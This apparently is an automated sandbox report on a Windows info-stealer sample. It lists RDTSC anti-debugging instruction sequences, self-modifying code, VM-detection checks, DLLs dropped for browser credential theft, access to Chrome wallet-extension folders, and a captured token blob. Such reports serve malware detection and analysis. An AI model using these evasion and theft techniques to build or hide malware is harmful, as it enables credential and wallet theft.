Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CB12F second address: 7CB138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CB54B second address: 7CB55C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Dh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CB55C second address: 7CB564 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CB564 second address: 7CB575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007FEC84B62E06h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CB575 second address: 7CB579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CB6F7 second address: 7CB6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7CBA66 second address: 7CBA76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84DC6BCAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D4EEA second address: 7D4F34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Ah 0x00000009 js 00007FEC84B62E06h 0x0000000f jmp 00007FEC84B62E0Ch 0x00000014 popad 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FEC84B62E0Dh 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FEC84B62E10h 0x00000025 jo 00007FEC84B62E06h 0x0000002b rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D4F34 second address: 7D4F57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEC84DC6BD7h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 753DF6 second address: 753E0A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FEC84B62E06h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c je 00007FEC84B62E12h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 753E0A second address: 753E10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 753E10 second address: 753E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FEC84B62E19h 0x0000000c pushad 0x0000000d jmp 00007FEC84B62E0Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 753E40 second address: 753E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84DC6BD5h 0x00000009 jmp 00007FEC84DC6BD9h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D3DDD second address: 7D3DE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 796726 second address: 79672B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 796DF9 second address: 796DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 796DFD second address: 796E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 796E01 second address: 796E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push ecx 0x00000010 jmp 00007FEC84B62E16h 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797057 second address: 79705B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 79705B second address: 797068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797068 second address: 79706C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 79706C second address: 797077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7972AA second address: 7972AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7972AF second address: 7972FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Bh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007FEC84B62E10h 0x00000012 sub dword ptr [ebp+1244C76Fh], edx 0x00000018 pop edi 0x00000019 push 00000004h 0x0000001b nop 0x0000001c pushad 0x0000001d jmp 00007FEC84B62E0Ah 0x00000022 jmp 00007FEC84B62E0Dh 0x00000027 popad 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push edi 0x0000002e pop edi 0x0000002f rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7972FC second address: 797311 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84DC6BD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797691 second address: 797695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797695 second address: 7976B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FEC84DC6BCCh 0x0000000c jl 00007FEC84DC6BC6h 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FEC84DC6BCDh 0x0000001c rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7976B9 second address: 7976C8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEC84B62E06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7976C8 second address: 797724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 call 00007FEC84DC6BD0h 0x0000000c mov edx, dword ptr [ebp+122D1F9Dh] 0x00000012 pop ecx 0x00000013 push ecx 0x00000014 add dword ptr [ebp+122D215Ch], ecx 0x0000001a pop edx 0x0000001b push 0000001Eh 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007FEC84DC6BC8h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 mov edi, ebx 0x00000039 or dx, 5574h 0x0000003e push eax 0x0000003f js 00007FEC84DC6BD4h 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 797994 second address: 7979BA instructions: 0x00000000 rdtsc 0x00000002 js 00007FEC84B62E1Dh 0x00000008 jmp 00007FEC84B62E17h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D40C1 second address: 7D40C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D40C7 second address: 7D40D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D4373 second address: 7D4377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D4377 second address: 7D438A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D438A second address: 7D438F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D438F second address: 7D4395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D4A75 second address: 7D4A79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7D82D4 second address: 7D82DE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEC84B62E06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDC11 second address: 7DDC15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDC15 second address: 7DDC40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEC84B62E19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FEC84B62E06h 0x00000011 jnl 00007FEC84B62E06h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDC40 second address: 7DDC46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDC46 second address: 7DDC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FEC84B62E06h 0x00000010 jmp 00007FEC84B62E18h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDC6E second address: 7DDC72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DCA67 second address: 7DCA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DCA6D second address: 7DCA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DCA71 second address: 7DCA77 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DCD53 second address: 7DCD63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FEC84DC6BC6h 0x0000000a ja 00007FEC84DC6BC6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DD484 second address: 7DD488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DD488 second address: 7DD499 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnc 00007FEC84DC6BC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDA85 second address: 7DDABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007FEC84B62E06h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007FEC84B62E06h 0x0000001f jmp 00007FEC84B62E19h 0x00000024 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDABD second address: 7DDAC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDAC3 second address: 7DDAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FEC84B62E15h 0x0000000c jmp 00007FEC84B62E10h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7DDAF0 second address: 7DDB03 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEC84DC6BC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b jne 00007FEC84DC6BC6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7E0985 second address: 7E0998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEC84B62E0Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7E0998 second address: 7E09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	RDTSC instruction interceptor: First address: 7E09A3 second address: 7E09C9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEC84B62E06h 0x00000008 jmp 00007FEC84B62E16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DEFB25 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F91317 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Special instruction interceptor: First address: 5EE887 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Special instruction interceptor: First address: 5EE7A5 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Special instruction interceptor: First address: 5EC37A instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsHIDHDAAEHI.exe	Special instruction interceptor: First address: 7B3BF7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3FE887 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3FE7A5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3FC37A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 5C3BF7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Special instruction interceptor: First address: BC266E instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008541001\ca8a779a60.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHIDHDAAEHI.exe

Code function: 27_2_05170CD8 rdtsc

27_2_05170CD8

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 7564	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7536	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7536	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7540	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7560	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8936	Thread sleep count: 79 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8936	Thread sleep time: -2370000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8936	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHIDHDAAEHI.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6C96C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

1_2_6C96C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000024.00000002.3464405238.0000000000581000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: CBGCAFII.1.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: CBGCAFII.1.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: CBGCAFII.1.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres.13.dr	Binary or memory string: {"TBDataStoreObject":{"Header":{"ObjectType":"TokenResponse","SchemaVersionMajor":2,"SchemaVersionMinor":1},"ObjectData":{"SystemDefinedProperties":{"RequestIndex":{"Type":"InlineBytes","IsProtected":false,"Value":"z3UTqTb37/uzhiflb40fzhDrEsw="},"Expiration":{"Type":"InlineBytes","IsProtected":false,"Value":"hnP7ofw92wE="},"Status":{"Type":"InlineBytes","IsProtected":false,"Value":"AwAAAA=="},"ResponseBytes":{"Type":"InlineBytes","IsProtected":true,"Value":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAz0mGihH4SkaVO4lyizFxaAAAAAACAAAAAAAQZgAAAAEAACAAAADmb6HwxgnvZ7OwRlWIrE4xhqMFDWukwQXLb2SDZRctVQAAAAAOgAAAAAIAACAAAAAtACCBKqgHyMkiUsKtw2v0xDVF/ug3DZQFF58/OuJAfRAEAAD2hmy1EfNmTt71elKObop5WzvsYAcryL2k9pbC3eiwJmJUiNdFHaBuVEjLSPT79+29Obi3+qZtBXZe9C61qGNlU6BoW6sK8+HUbWzzI3++Ae9iNEkOIBvSSSNoO/rQPiJ/CPqVFYTNOkQ3ZHklqsVA3sxUm7htxIa1azwSOhmZSkCYOC0rfG8ZABG0a7rOVnaX8QyG3VIPLA0Oxs+aiZhGNv3lCTjpwPTy1b+Zgp0VG3uY9FgTi5l2/keDlkU+31dFBnxpYWJB8KnbmkY9YtOvRZXNGzdYV/qpF4YBNiaCIeewa9b/vXogfj7IypgsMb4FRAFWvKj95d2hL7ArUZfrrlvwEtRqd7+SbXwYtZYj+h5BLW2A/a/sLiWbVZweVcRGpRWrpA+/9Uz6vEqHipyiey+FKYqYm+/ogHDIEbpcWXvmaOo78H5m8C3r3lqFc7xPpFKozYqfo1iYXQmylER6j8kbB/Mo4OlzW0tOrQ4R0FCE/VzJMsQhmvJTd2/AU37v1BWgZAQwCgy6G+ijyomqAEYbwjVfqs59/EdSjbVmc/mnxLxZSzCFbpHEIA5bKY15QSKQH7HAS1P1PClW0f+fAbYZmXZ5l/HlupdvttLC2jj/jIG8oN7BeaaQe9/s26DzH5iujS5SFhhfZYDDrGAoRn7H9gDO6tSgCRYs7PZGOgx+mCdLaPHevxzEE0ip5l/N/laJjp82SFCkT9SOq3IVX07y4h+6u097JLYfUe4uu8Mfa1HshCdsKvsxxyeXVRAagYoA4xyjr9TODvnPGJ0w1TDosWPGzmpvETY2su3Dm+/5MMPikbW48kMcdM9h0u1YaUo6sDd0wiT/pMIZnzdVH7+3cNxpTLhgqAsFogmA+xHQ2Xyk+4bh6TWOYjyzdz+UcJbJWI/4XovNzgUZTARlSHhC0sN6ibldeBk2Tvtibm32owSbfusi2N2MHjLubpKwGUf2ZZc/SgWb2R7vwhXoPU/DfpMP5eDwJiUoBGb/ZUaN8sDmV05Ig259iRcm5eLJjn/A4/hSa28MiQ4i14mdh14dJYOVMNETHtmcxz/LQbYapEQjSQjdWFwmCseckA/gIqe3pF+y90nSsbXodYmzI4H4RZxEYhgmIzKQotICvNADmGnlWMH6WFL0s3IqYM1UJSS/Xs0PLy+QcbPR8R5KBwrlW2LmxpTv5lR68/2klIWhmtRF+VRWdHp/38+Ty3n/C+vP0I5KNX7lcvsoiwEpaiPxk8ukz9zW1jhgqK1MQII3NoTdK77rC9x6CloMPVNnQJKRR2OpaictDPv948rcIjRwwFYWzQOFr